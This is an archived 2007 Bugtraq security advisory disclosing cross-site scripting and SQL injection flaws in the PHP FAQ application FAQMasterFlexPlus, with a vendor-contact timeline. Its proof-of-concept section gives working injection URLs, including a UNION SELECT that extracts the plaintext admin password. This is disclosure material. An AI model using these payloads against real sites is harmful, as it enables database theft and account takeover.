bugtraq - FAQMasterFlexPlus multiple vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <af6679240712271926g4da55bb9p967e93ed4fd0c7f8@mail.gmail.com>
Date: Fri, 28 Dec 2007 04:26:34 +0100
From: "Juan Galiana" <jgaliana@...il.com>
To: bugtraq@...urityfocus.com
Subject: FAQMasterFlexPlus multiple vulnerabilities

- Security Advisory -


- FAQMasterFlexPlus multiple vulnerabilities -
---------------------------------------------------------------

Product:        FAQMasterFlexPlus
Version:        Latest version is affected, other not tested
Vendor:         http://www.netbizcity.com
Affected by:    Cross-Site Scripting & SQL injection





I. Introduction.

FaqMasterFlexPlus is a free, database-driven web-based application
written in php for creating and maintaining
Frequently Asked Questions (FAQs) on your web site.
It has language support and features according documentation are:
"Allow to create unlimited categories and unlimited
Questions/Answers and has web-based category and FAQ administration
with Add, Edit, Delete Capability.",

It's free software, released under the GNU General Public Lisence (GPL).
Works with php & mysql and comes bundled in some versions of
Fantastico (Cpanel X).



II. Description

	Multiple flaws in FaqMasterFlexPlus have been discovered:


	1) Cross Site Scripting:
		
		The script faq.php suffers an XSS bug, specifically the variable
$cat_name it's not properly sanitized,
		an attacker exploiting this flaw can perform an XSS attack to access
the targeted user cookies.

		All Admin scripts to add/edit/delete categories and add/edit/delete
faq don't parse correctly the user supplied input too.


		PoC: http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS]



	2) SQL Injection (to exploit this issue it's necesarry
magic_quotes_gpc set to Off in the php.ini file).

		All the scripts suffers for sql injections attacks in the querys to
the database.

		PoC: http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/*
		

		Then get a new line like this:

			Q faquser@...alhost


		or a Proof of Concept to get the admin password:


		http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,passwrd,1%20from%20users%20where%20userid='admin

		

		Q supersecretpassword

	
		bingo! ;)



		Besides password is stored in plain text, this is a big security flaw.



		This software is infected with many bugs and must be fully audited
for enforce the security.




III. Timeline
	
	08/05/2007 - Bugs discovered
	10/05/2007 - Vendor Contact (No Response)
	12/12/2007 - Vendor Contacted Again (No Response)
	28/12/2007 - Advisory Disclosure



IV. Credits
	
	Juan Galiana <jgaliana gmail com>


Regards